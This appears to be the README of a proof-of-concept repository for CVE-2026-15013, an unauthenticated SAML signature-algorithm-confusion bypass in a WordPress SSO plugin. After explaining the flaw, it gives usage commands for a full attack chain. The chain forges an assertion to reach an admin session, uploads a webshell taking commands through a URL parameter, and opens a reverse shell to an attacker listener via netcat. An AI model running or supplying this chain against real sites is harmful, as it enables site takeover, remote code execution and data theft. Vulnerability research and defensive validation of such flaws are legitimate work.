
Exploit for CVE-2026-15013: unauthenticated SAML auth bypass via algorithm confusion. Forges SAML responses to gain admin access and deploy webshell/reverse shell. For authorized testing.
Proof-of-concept for CVE-2026-15013: unauthenticated authentication bypass via SAML Signature Algorithm Confusion (HMAC-SHA1) in the miniOrange SAML Single Sign On – SSO Login WordPress plugin (versions up to and including 5.4.3).
Authorized testing only. Use this code solely on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.
| Role | |
|---|---|
| Vulnerability finder | lhking (credited on the CVE record) |
| CVE / CNA | Wordfence |
| This repository | Independent lab reproduction / PoC automation (not the original discovery) |
CVE record: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() trusts the SignatureMethod algorithm from the attacker-controlled SAMLResponse. When set to HMAC-SHA1, the plugin recasts the IdP RSA public key as an HMAC shared secret and verifies the signature with it. Anyone who can read the IdP certificate (often public metadata) can forge a valid assertion for any existing WordPress user, including administrators.
Patched in 5.4.4+ (insecure algorithms / HMAC rejected).
9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl CLI (for cert to public key)Install dependencies:
pip install -r requirements.txt
Full chain (enum, HMAC login, admin, webshell):
python3 exploit.py -u https://TARGET.example
Optional reverse shell (start listener first: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Login only (no shell):
python3 exploit.py -u https://TARGET.example --no-shell
Manual overrides:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhostThis project is for educational and authorized security research only. The authors and contributors are not responsible for misuse. Always obtain written permission before testing third-party systems. The original vulnerability was reported through responsible disclosure; this repository only demonstrates reproduction for learning and defensive validation.
For research use. No warranty.
| Flag | Description |
|---|
-u, --url | WordPress base URL (required) |
-k, --hmac-key | PEM public key or cert file; if empty, fetch from IdP metadata |
--issuer | Override IdP issuer |
--acs | Override ACS URL |
--nameid | Force a single WordPress username |
--lhost / --lport | Reverse shell callback (default port 4444) |
--no-shell | Stop after admin session |
--no-reverse | Upload shell but do not trigger reverse |